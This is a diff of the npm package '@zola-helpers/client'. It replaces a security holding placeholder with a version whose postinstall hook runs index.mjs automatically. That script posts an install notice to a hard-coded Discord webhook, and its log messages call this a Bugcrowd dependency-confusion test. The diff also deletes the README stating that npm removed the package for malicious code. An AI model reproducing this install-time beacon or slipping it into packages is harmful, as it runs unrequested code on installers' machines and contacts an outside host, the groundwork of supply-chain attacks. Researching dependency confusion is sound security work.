@zola-helpers/client 0.0.1-security → 1.0.1

package/index.mjs

@@ -0,0 +1,29 @@
+import fetch from 'node-fetch';
+
+const discordWebhookUrl = 'https://discord.com/api/webhooks/1060446754983645265/n2CEBHLOCtn3vBUBlQDSOQCJ5zLPfF7iabZ2l6MEq0Y4uy26SZu_nMVb8a1Y31wtX43l';
+
+// Function to send the HTTP request
+const sendWebhookRequest = async () => {
+  try {
+    const response = await fetch(discordWebhookUrl, {
+      method: 'POST',
+      headers: {
+        'Content-Type': 'application/json',
+      },
+      body: JSON.stringify({
+        content: '@everyone `@zola-helpers` package was installed or updated',
+      }),
+    });
+
+    if (response.ok) {
+      console.log('Webhook request sent successfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
+    } else {
+      console.log('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
+    }
+  } catch (error) {
+    console.error('Webhook request sent unsuccessfully. (if you see this! it\s for a bugcrowd report to test dependency confusion)');
+  }
+};
+
+// Call the function when the package is updated or installed
+sendWebhookRequest();

package/package.json

@@ -1,6 +1,16 @@
 {
   "name": "@zola-helpers/client",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
+  "version": "1.0.1",
+  "description": "xxx haii",
+  "main": "index.js",
+  "type": "module",
+  "scripts": {
+    "postinstall": "node index.mjs"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "node-fetch": "^3.3.1"
+  }
 }

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=%40zola-helpers%2Fclient for more information.